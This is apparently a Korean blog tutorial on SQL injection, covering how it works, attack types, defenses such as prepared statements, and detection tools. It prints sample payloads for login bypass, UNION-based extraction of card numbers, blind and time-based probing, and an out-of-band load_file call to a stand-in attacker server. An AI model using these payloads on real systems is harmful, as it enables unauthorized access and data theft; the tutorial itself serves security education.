728x90

SQL Injection (SQLi) 이란?

 

SQL Injection은 웹 애플리케이션의 보안 취약점을 이용하여

개발자가 의도하지 않은 SQL 쿼리를 실행하도록 만드는 공격 기법입니다.

 

주로 사용자가 입력한 값이 적절히 검증(Validation)되지 않고

직접 SQL 문에 삽입되어 처리될 때 발생합니다.

공격자가 데이터베이스를 조작하여 인증 우회, 데이터 조회/변조/삭제, 서버 제어 등을 할 수 있게 됩니다.

 

SQL Injection의 기본 개념

SQL은 데이터베이스를 다루기 위한 질의 언어입니다.

일반적으로 다음과 같이 사용자의 입력을 바탕으로 쿼리를 생성합니다.

SELECT * FROM users WHERE username = '입력값' AND password = '입력값';

그런데 만약 입력값에 ' OR '1'='1 같은 악성 문자열을 넣으면 어떻게 될까요?

입력된 쿼리:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';

'1'='1' 은 항상 참이므로,

비밀번호 검증을 무력화하고 모든 사용자에 대해 로그인 성공이 될 수 있습니다.

 

 SQL Injection 동작 흐름

  1. 사용자가 입력폼(로그인, 검색창 등)에 악의적인 데이터를 입력합니다.
  2. 서버가 이 입력값을 검증 없이 SQL 쿼리에 삽입합니다.
  3. 데이터베이스는 이를 정상적인 명령어로 처리합니다.
  4. 결과적으로 공격자가 의도한 데이터 노출/조작이 발생합니다.

 SQL Injection 공격 유형 (종류)

구분 설명
인증 우회 (Authentication Bypass) 로그인 인증을 우회합니다.
데이터 노출 (Data Extraction) 비공개 데이터(회원정보, 카드번호 등)를 빼냅니다.
데이터 수정/삭제 (Data Manipulation) 테이블을 수정하거나 삭제합니다.
DB 서버 공격 (Database Takeover) 파일 읽기/쓰기, 시스템 명령 실행까지 시도합니다.
Blind SQL Injection 쿼리 결과를 볼 수 없어, 참/거짓 응답을 분석해 공격합니다.
Out-of-Band SQL Injection 서버의 응답이 없을 때, 별도 채널 (DNS, HTTP 등)로 데이터를 빼냅니다.

 

 

 

SQL Injection 구체적 공격 예시

1. 인증 우회

입력창에 
아이디: admin' --
비밀번호: 아무거나
--은 SQL에서 주석 처리를 의미합니다. 따라서 비밀번호 조건은 무시되고 아이디만 admin으로 로그인 가능.

 

 

쿼리 변환:

SELECT * FROM users WHERE username = 'admin' -- ' AND password = '...';

 

2. 데이터 추출

입력창에
아이디: ' UNION SELECT card_number, 1 FROM credit_cards --
비밀번호: 아무거나
UNION 키워드를 사용해, 다른 테이블(카드정보)을 조회합니다.

 

 

쿼리 변환:

SELECT * FROM users WHERE username = '' UNION SELECT card_number, 1 FROM credit_cards --' AND password = '...';

 

 

Blind SQL Injection (블라인드 SQLi)

 

결과가 직접 보이지 않는 경우, 참/거짓 응답을 반복해서 분석합니다.

 

예시

아이디 입력창에
' AND (SELECT COUNT(*) FROM users WHERE username='admin' AND LENGTH(password)>5) -- 
비밀번호 길이가 5보다 크면 정상 응답, 아니면 오류 → 반복해서 길이와 내용을 추측할 수 있습니다.

 

 

또는 시간 지연을 사용하여 참/거짓을 알아낼 수도 있습니다.

' OR IF(ASCII(SUBSTRING(password,1,1))=97, SLEEP(5), 0) -- 
비밀번호 첫 글자의 아스키코드가 97(a)이면 5초 동안 서버가 멈춤.

 

Out-of-Band SQL Injection

 

DB 서버에서 DNS 요청 등 외부 서버로 연결해 데이터를 빼가는 기법입니다.

 

예시:

SELECT load_file('\\\\attacker_server\\share');

 

SQL Injection 취약 원인

  • 사용자 입력값을 신뢰하고 검증하지 않음
  • SQL 쿼리에 직접 문자열 연결 (String Concatenation)
  • 적절한 권한 분리 없이 모든 쿼리를 수행
  • 오류 메시지를 자세히 노출하여 정보 유출

 

SQL Injection 방어 방법

 

방법 설명
Prepared Statement (Parameterized Query) 쿼리 구조와 데이터 입력을 분리
ORM 사용 Django ORM, Hibernate 등 사용하여 쿼리 직접 작성 방지
입력값 검증 (Validation) 입력값의 허용범위, 타입, 길이 등을 철저히 체크
최소 권한 원칙 적용 DB 계정 권한 최소화 (SELECT만 가능 등)
오류 메시지 제한 구체적인 DB 오류를 사용자에게 노출하지 않음
WAF (Web Application Firewall) SQLi 공격 시도를 차단

 

 

 Prepared Statement 예시

 

(Java JDBC 예제)

String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = conn.prepareStatement(query);
pstmt.setString(1, usernameInput);
pstmt.setString(2, passwordInput);
ResultSet rs = pstmt.executeQuery();
여기서 ?는 입력값이 쿼리와 독립적으로 처리되기 때문에 입력값에 악성 SQL을 넣어도 코드 자체가 변조되지 않습니다.

 

 

SQL Injection 공격 탐지 방법

  • 웹 서버 로그 분석 (비정상 쿼리 문자열 확인)
  • DB 쿼리 로그 모니터링 (비정상 쿼리 패턴)
  • 이상 접근 감지 시스템 (IDS/IPS) 연동
  • 자동화된 취약점 스캐너 사용 (ex. SQLMap, Burp Suite)

 

SQL Injection 대표적인 도구

도구 설명
SQLMap 오픈소스 SQL Injection 자동화 도구
Burp Suite 웹 취약점 진단 도구 (Proxy, Scanner 기능)
Havij GUI 기반 SQL Injection 도구

 

728x90

+ Recent posts